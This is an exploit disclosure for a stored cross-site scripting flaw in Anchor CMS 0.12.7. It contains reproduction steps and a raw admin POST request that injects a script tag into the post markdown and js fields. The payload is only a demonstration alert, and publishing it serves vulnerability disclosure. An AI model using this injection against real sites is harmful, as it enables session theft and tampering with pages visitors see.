Anchor CMS 0.12.7 - Stored Cross Site Scripting (XSS)

# Exploit Title: Anchor CMS 0.12.7 - Stored Cross Site Scripting (XSS)
# Date: 04/28/2024
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://anchorcms.com/
# Software Link:
https://github.com/anchorcms/anchor-cms/archive/refs/tags/0.12.7.zip
# Version: latest
# Tested on: MacOS

# Log in to Anchor CMS.
# Click on "Create New Post".
# Fill in the "Title" and enter the following payload in the field
immediately below:
# "><script>alert()</script>
# Go to the homepage, and you will see the alert!


### PoC Request ###

POST /anchor/admin/posts/edit/2 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0)
Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Content-Length: 278
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/anchor/admin/posts/edit/2
Cookie: PHPSESSID=8d8apa3ko6alt5t6jko2e0mrta;
anchorcms=hlko7b1dbdpjgn58himf2obht5
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

token=OqyPlxKQyav5KQYMbSErNCqjIfCoUGS9GZA3y3ZpnshDgb8IL8vH3kioFIKsO9Kf&title=test&markdown=%22%3E%3Cscript%3Ealert()%3C%2Fscript%3E&slug=aaaa&created=2024-04-28+12%3A20%3A36&description=&status=published&category=1&css=&js=%22%3E%3Cscript%3Ealert()%3C%2Fscript%3E&autosave=false